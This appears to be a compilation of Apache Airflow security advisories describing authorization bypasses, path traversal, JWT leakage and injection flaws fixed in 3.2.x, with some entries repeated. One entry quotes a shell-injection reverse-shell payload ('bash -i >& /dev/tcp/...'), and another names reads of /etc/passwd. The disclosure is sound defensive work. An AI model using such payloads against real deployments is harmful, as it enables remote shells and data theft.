The structuredata endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.
A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. /etc/passwd or airflow.cfg) or (b) supply a taskid containing .. sequences accepted by the Task SDK's KEYREGEX (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured baselogfolder, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.
Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's str.lstrip() to the requested path segment when verifying the JWT's sub claim. str.lstrip() strips any of a set of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. daga would authorize log access to any other Dag whose name began with any subset of the characters {d, a, g, } (e.g. dagattacker, aaaatarget, dagsecret). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to apache-airflow 3.2.2 or later.
The Event Log detail endpoint GET /api/v2/eventLogs/{eventlogid} in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint GET /api/v2/eventLogs applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to apache-airflow 3.2.2 or later.
A bug in Apache Airflow's XCom PATCH endpoint PATCH /api/v2/xcomEntries/{key} allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. returnvalue) that the matching POST endpoint already validated against FORBIDDENXCOMKEYS. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the FORBIDDENXCOMKEYS validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to apache-airflow 3.2.2 or later to cover the PATCH-path bypass.
A bug in the GET /api/v2/connections/{connectionid} REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's extra JSON blob under field names not present in the redaction allowlist (DEFAULTSENSITIVEFIELDS) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection extra blobs and grant Connection-read access to multiple users. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's extra field.
Severity: Moderate
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.2
Description:
A bug in Apache Airflow's KubernetesExecutor caused JWT tokens used by worker pods to authenticate against the Execution API to be passed to the worker container as command-line arguments visible in the pod spec. An authenticated UI/API user with Kubernetes read-only access to the cluster (e.g. pods/get in the Airflow namespace) could harvest the JWT from kubectl describe pod output and then call state-mutating Execution API endpoints — triggering Dag runs, clearing runs, reading or writing Variables / Connections / XComs — as if they were a running task. Affects deployments using the KubernetesExecutor. Users are advised to upgrade to apache-airflow 3.2.2 or later. This is the airflow-core half of the same vulnerability addressed by CVE-2026-27173, which shipped the apache-airflow-providers-cncf-kubernetes side of the fix. Deployments that already upgraded apache-airflow-providers-cncf-kubernetes to 10.17.0 or later per the CVE-2026-27173 advisory should additionally upgrade apache-airflow to 3.2.2 or later to close the core-side surface — the two fixes are complementary, not duplicates.
Credit:
Nikolai Dvoinishnikov (nikdvy () gmail com) (finder) Anton Kuznetsov (piratusxp () gmail com) (finder) Anish Giri (remediation developer)
References:
https://github.com/apache/airflow/pull/60108 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-49298
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.2
Description:
Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's str.lstrip() to the requested path segment when verifying the JWT's sub claim. str.lstrip() strips any of a set of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. daga would authorize log access to any other Dag whose name began with any subset of the characters {d, a, g, } (e.g. dagattacker, aaaatarget, dagsecret). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Michael Lip (theluckystrike) (finder) Jarek Potiuk (@potiuk) (remediation developer)
References:
https://github.com/apache/airflow/pull/66749 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-45426
Severity: high
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.2
Description:
Apache Airflow's scheduler-side deadline-reference decoder (SerializedCustomReference.deserializereference) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom DeadlineReference whose serialized form named an attacker-controlled module path, causing the scheduler to importstring(...) and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/66737 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-45360
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.2
Description:
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
Credit:
anonymous (finder) Kevin Yang (sjyangkevin) (remediation developer)
References:
https://github.com/apache/airflow/pull/64129 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-42252
Severity: medium
Affected versions:
- Apache Airflow (apache-airflow) 3.2.0 before 3.2.2
Description:
A bug in Apache Airflow's bulk Task Instances API (PATCH/DELETE /api/v2/dags/{dagid}/dagRuns/{dagrunid}/taskInstances) evaluated authorization against the dagid resolved from the URL path while operating on the dagid / dagrunid extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Pirikara (finder) GPK (gopidesupavan) (remediation developer)
References:
https://github.com/apache/airflow/pull/64288 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-41084
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.2.0 before 3.2.2
Description:
The partitioneddagruns endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Yalguun Tumenkhuu (fg0x0) (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65344 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-41014
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.2
Description:
The structuredata endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Masamune - Unit515 OPSWAT (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65342 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-40963
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.2
Description:
A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the issafeurl check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain next= query parameters before they reach the login endpoint.
Credit:
Fushuling@secsys (finder) RacerZ@secsys (finder) Aritra Basu (remediation developer)
References:
https://github.com/apache/airflow/pull/65557 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-40961
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.0
Description:
In case of SQL errors, exception/stack trace of errors was exposed in API even if "api/exposestacktraces" was set to false. That could lead to exposing additional information to potential attacker. Users are recommended to upgrade to Apache Airflow 3.2.0, which fixes the issue.
Credit:
Masamune - Unit515 OPSWAT (finder) Jason(Zhe-You) Liu (remediation developer)
References:
https://github.com/apache/airflow/pull/63028 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-30912
Severity: Moderate
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.0
Description:
JWT Tokens used by tasks were exposed in logs. This could allow UI users to act as Dag Authors. Users are advised to upgrade to Airflow version that contains fix.
Users are recommended to upgrade to version 3.2.0, which fixes this issue.
Credit:
unixengineer (finder) Jason Imison (finder) Pineapple (remediation developer)
References:
https://github.com/apache/airflow/pull/62964 https://github.com/apache/airflow/issues/62428 https://github.com/apache/airflow/issues/62773 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-31987
Severity: Low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.0
Description:
The example examplexcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.
It does not affect Airflow release - exampledags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case.
Users who followed that pattern are advised to adjust their implementations accordingly.
Credit:
Vincent55 Yang (finder)
References:
https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2025-54550
Severity: moderate
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.0
Description:
Before Airflow 3.2.0, it was unclear that secure Airflow deployments require the Deployment Manager to take appropriate actions and pay attention to security details and security model of Airflow. Some assumptions the Deployment Manager could make were not clear or explicit enough, even though Airflow's intentions and security model of Airflow did not suggest different assumptions. The overall security model [1], workload isolation [2], and JWT authentication details [3] are now described in more detail. Users concerned with role isolation and following the Airflow security model of Airflow are advised to upgrade to Airflow 3.2, where several security improvements have been implemented. They should also read and follow the relevant documents to make sure that their deployment is secure enough. It also clarifies that the Deployment Manager is ultimately responsible for securing your Airflow deployment. This had also been communicated via Airflow 3.2.0 Blog announcement [4].
[1] Security Model: https://airflow.apache.org/docs/apache-airflow/stable/security/jwttokenauthentication.html [2] Workload isolation: https://airflow.apache.org/docs/apache-airflow/stable/security/workload.html [3] JWT Token authentication: https://airflow.apache.org/docs/apache-airflow/stable/security/jwttokenauthentication.html [4] Airflow 3.2.0 Blog announcement: https://airflow.apache.org/blog/airflow-3.2.0/
Users are recommended to upgrade to version 3.2.0, which fixes this issue.
Credit:
Saurabh Banawar (finder) Amogh Desai (remediation developer)
References:
https://github.com/apache/airflow/pull/58662 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2025-66236
Airflow versions before 2.11.1 have a vulnerability that allows authenticated users with audit log access to see sensitive values in audit logs which they should not see. When sensitive connection parameters were set via airflow CLI, values of those variables appeared in the audit log and were stored unencrypted in the Airflow database. While this risk is limited to users with audit log access, it is recommended to upgrade to Airflow 2.11.1 or a later version, which addresses this issue. Users who previously used the CLI to set connections should manually delete entries with those connection sensitive values from the log table. This is similar but not the same issue as CVE-2024-50378